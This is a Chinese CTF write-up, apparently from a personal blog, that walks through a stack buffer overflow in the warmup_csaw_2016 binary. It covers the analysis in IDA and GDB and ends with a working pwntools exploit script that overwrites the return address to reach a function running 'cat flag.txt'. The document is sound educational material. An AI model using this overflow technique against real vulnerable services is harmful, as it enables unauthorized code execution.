通过直接刷题逆向学习pwn:warmup_csaw_2016题解(栈溢出变种实战)

如果没有看过上篇文章可以先看简单的栈溢出(里面会有更加详细的解释,本篇默认略过重复的定义):https://blog.x-z-z.com/article/2025-09-25-17-35

查看文件详情

先使用checksec 查看文件是否有保护

1
checksec --file=warmup_csaw_2016

发现没有保护开启,这意味着:

  • 没有Canary:可以直接栈溢出,没有金丝雀保护
  • 没有NX:栈上的代码可以执行(不过本题用不到)
  • 没有PIE:代码段的地址是固定的,我们可以硬编码地址
image-20250926185917984

查看文件的格式(方便打开对应版本的IDA)

image-20250926190215638

上方显示是64bit 使用IDA64打开

image-20250926225945035

IDA分析

按F5进入伪代码 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}

简单的将代码进行解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF

// 输出字符串 "-Warm Up-\n" 共10个字符(包含换行符)
write(1, "-Warm Up-\n", 0xAuLL);

// 输出字符串 "WOW:" 共4个字符
write(1, "WOW:", 4uLL);

// 将函数 sub_40060D 的地址格式化为十六进制字符串存入 s 数组
sprintf(s, "%p\n", sub_40060D);

// 输出 s 中的内容(函数地址),共9个字符(包括换行符)
write(1, s, 9uLL);

// 输出提示符 ">"
write(1, ">", 1uLL);

// 从标准输入读取数据到 v5 数组(存在缓冲区溢出漏洞)
return gets(v5);
}

关键点分析:

  1. 栈布局
    • s[64] 位于 [rbp-80h][rbp-40h]
    • v5[64] 位于 [rbp-40h][rbp]
  2. 漏洞点
    • 使用 gets(v5) 读取输入,没有长度限制
    • 如果输入超过 64 字节,会覆盖栈上的返回地址
  3. 信息泄露
    • 程序打印了 sub_40060D 函数的地址
    • 这可能是目标函数,攻击者可以利用这个地址来绕过 ASLR
  4. 攻击思路
    • 通过缓冲区溢出覆盖返回地址
    • 跳转到 sub_40060D 函数(地址已泄露)
    • 或者构造 ROP chain 来获取 shell

按shift+F12进行字符串查询 虽然没有直接找到shell 但是找到cat flag对应的字符串

image-20250926230305431

点击进去右键flag.txt 点击“Xrefs graph to” 发现是sub_40060D函数引用

image-20250926232055303

在主界面点击sub_40060D

image-20250926232156406

找到头地址为 0x40060D(在IDA中,地址默认用纯数字显示 IDA隐含是十六进制,为了让之后的Python理解前面要加”0x”代表十六进制)

现在找到flag的内存地址也找到了对应的gets函数可以构成栈溢出

image-20250926232242515

程序正常执行流程

为了更加直观理解写出的程序大概运行逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
开始执行程序

正常打印信息(包括目标地址0x40060D)

执行到gets(v5)等待输入 ← 攻击入口点!

我们发送payload: [64个A填充v5] + [8个B覆盖rbp] + [p64(0x40060D)]

gets()无脑写入,覆盖栈上的返回地址

main函数执行return准备返回

从栈上弹出返回地址,但弹出的是我们覆盖的0x40060D

程序跳转到0x40060D(sub_40060D函数)

执行system("cat flag.txt") ← 攻击成功!

显示flag内容

攻击执行流程

这里是溢出视角(我第一篇的时候咋想不到这么理解,被自己蠢到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
开始执行程序

正常打印信息(包括目标地址0x40060D)

执行到gets(v5)等待输入 ← 攻击入口点!

我们发送payload: [64个A填充v5] + [8个B覆盖rbp] + [p64(0x40060D)]

gets()无脑写入,覆盖栈上的返回地址

main函数执行return准备返回

从栈上弹出返回地址,但弹出的是我们覆盖的0x40060D

程序跳转到0x40060D(sub_40060D函数)

执行system("cat flag.txt") ← 攻击成功!

显示flag内容

GDB动态调试分析

使用动态调试来直观看出偏移量(这里和上篇文章基本一致)

启动GDB运行对应程序

1
gdb ./warmup_csaw_2016

生成测试模式字符串

1
pattern create 100

image-20250927222507243

1
2
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

在GDB中运行程序

1
2
3
4
5
gdb-peda$ run
Starting program: /path/to/warmup_csaw_2016
-Warm Up-
WOW:0x40060d
>

程序暂停在gets()函数,等待我们输入

image-20250927222627085

将模式字符串发送给程序

1
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

程序崩溃,GDB回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe130 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x7fffffffe288 --> 0x7fffffffe536 ("/home/xiaozhi_z/Desktop/warmup_csaw_2016")
RCX: 0x7ffff7f9f8e0 --> 0xfbad2288
RDX: 0x0
RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7ffff7fa17c0 --> 0x0
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe178 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4006a4 (ret)
R8 : 0x602305 --> 0x0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffe298 --> 0x7fffffffe55f ("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/root/.local/bin")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400699: mov eax,0x0
0x40069e: call 0x400500 <gets@plt>
0x4006a3: leave
=> 0x4006a4: ret
0x4006a5: cs nop WORD PTR [rax+rax*1+0x0]
0x4006af: nop
0x4006b0: push r15
0x4006b2: mov r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe180 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe188 ("AAKAAgAA6AAL")
0024| 0x7fffffffe190 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffe198 --> 0x7fffffffe288 --> 0x7fffffffe536 ("/home/xiaozhi_z/Desktop/warmup_csaw_2016")
0040| 0x7fffffffe1a0 --> 0x7fffffffe288 --> 0x7fffffffe536 ("/home/xiaozhi_z/Desktop/warmup_csaw_2016")
0048| 0x7fffffffe1a8 --> 0x2377246a6e15c193
0056| 0x7fffffffe1b0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004006a4 in ?? ()

查看RBP的值

1
info registers rbp

image-20250927222801658

1
2
gdb-peda$ info registers rbp
rbp 0x4141334141644141 0x4141334141644141

使用pattern offset计算RBP的偏移量

RBP在偏移量64处被覆盖,偏移量为64

1
pattern offset 0x4141334141644141

image-20250927222842849

得到偏移量了!RBP大小也知道是8(64位情况下)了,可以准备编写payload辣!

架构 RBP大小 说明
64位 8字节 寄存器是64位的,所以RBP占用8字节
32位 4字节 寄存器是32位的,所以EBP占用4字节

编写Payload

可以参考上一篇Pwn学习的Payload

地址:https://blog.x-z-z.com/article/2025-09-25-17-35

上一篇的payload

1
2
3
4
5
from pwn import *

p = remote('node5.buuoj.cn', 26833)
p.sendline(b'a' * 15 + p64(0x401186))
p.interactive()

这里的偏移值为64,RBP大小为8,需要跳转到的地址为0x40060D

简单修改一下脚本,将对应的值填入就好啦(记得把远端地址改成对应的!)

1
2
3
4
5
from pwn import *

p = remote('node5.buuoj.cn', 26833)
p.sendline(b'a' * (64+8) + p64(0x40060D))
p.interactive()

简单跑一下,得到flag!

别的不说打CTF真好玩(

image-20250927223736797

代码详细讲解

如果没有Python基础的情况下可以简单看一看(也可以学习我成为AI战神(bushi

1
2
3
4
5
6
7
8
9
10
from pwn import *

# 连接远程CTF服务器
p = remote('node5.buuoj.cn', 26833)

# 构造payload:填充缓冲区 + 覆盖RBP + 覆盖返回地址
p.sendline(b'a' * (64+8) + p64(0x40060D))

#进入交互模式获取flag
p.interactive()

第1行:导入库

1
from pwn import *

作用:导入pwntools库,这是Python中最流行的CTF pwn工具库。

详细说明

  • pwn 库提供了连接远程服务器、本地进程操作、数据打包、ROP链构建等功能
  • * 表示导入所有功能,这样我们可以直接使用 remote(), p64() 等函数

第2行:建立连接

1
p = remote('node5.buuoj.cn', 26833)

作用:连接到CTF题目服务器。

参数说明

  • 'node5.buuoj.cn':目标服务器的域名或IP地址
  • 26833:端口号,每个CTF题目有唯一的端口
  • p:连接对象,后续所有操作都通过这个对象进行

底层原理

  • 实际上创建了一个TCP socket连接
  • 类似于在命令行执行 nc node5.buuoj.cn 26833

第3行:构造payload

1
p.sendline(b'a' * (64+8) + p64(0x40060D))

这是最核心的一行代码,让我们分解来看:

第一部分:b'a' \* (64 + 8)

作用:填充栈空间直到返回地址之前。

为什么是72?

  • 64v5 缓冲区的大小
  • 8:覆盖保存的RBP寄存器(64位系统)
  • 64 + 8 = 72:到达返回地址的精确偏移量

为什么用 b'a'

  • b 前缀表示字节字符串(bytes)
  • 'a' 的ASCII码是 0x61,可以是任意字符
  • 使用可打印字符便于调试

第二部分:p64(0x40060D)

1
p64(0x40060D)  # 将地址打包成8字节的小端序格式

作用:将目标地址打包成适合覆盖返回地址的格式。

p64() 函数详解

  • 功能:将64位整数打包成8字节的字节串
  • 处理字节序:x86/x64架构使用小端序(Little Endian)
  • 示例:p64(0x40060D)b'\x0d\x06\x40\x00\x00\x00\x00\x00'

小端序原理

1
2
3
原始地址:0x40060D
十六进制:00 00 00 00 00 40 06 0D
小端序: 0D 06 40 00 00 00 00 00 (低位在前)

第4行:交互模式

1
p.interactive()

作用:将控制权交给用户,与获取的shell进行交互。

为什么需要这个?

  • 攻击成功后,程序跳转到 system("cat flag.txt")
  • 这个命令的执行结果需要我们手动接收和查看
  • interactive() 让我们可以像使用shell一样输入命令

完整的攻击流程时序图

1
2
3
4
5
6
7
8
9
10
11
12
攻击者机器           CTF服务器          目标程序
| | |
|--- remote() ---->| |
| |--- 启动程序 ---->|
| |<-- 打印信息 ----|
|<-- recv() -------| |
|--- sendline() -->| |
| |--- gets() ------>|
| |<- 栈溢出覆盖 ----|
| |--- 跳转 -------->|
| |<-- cat flag ----|
|<-- 交互模式 -----| |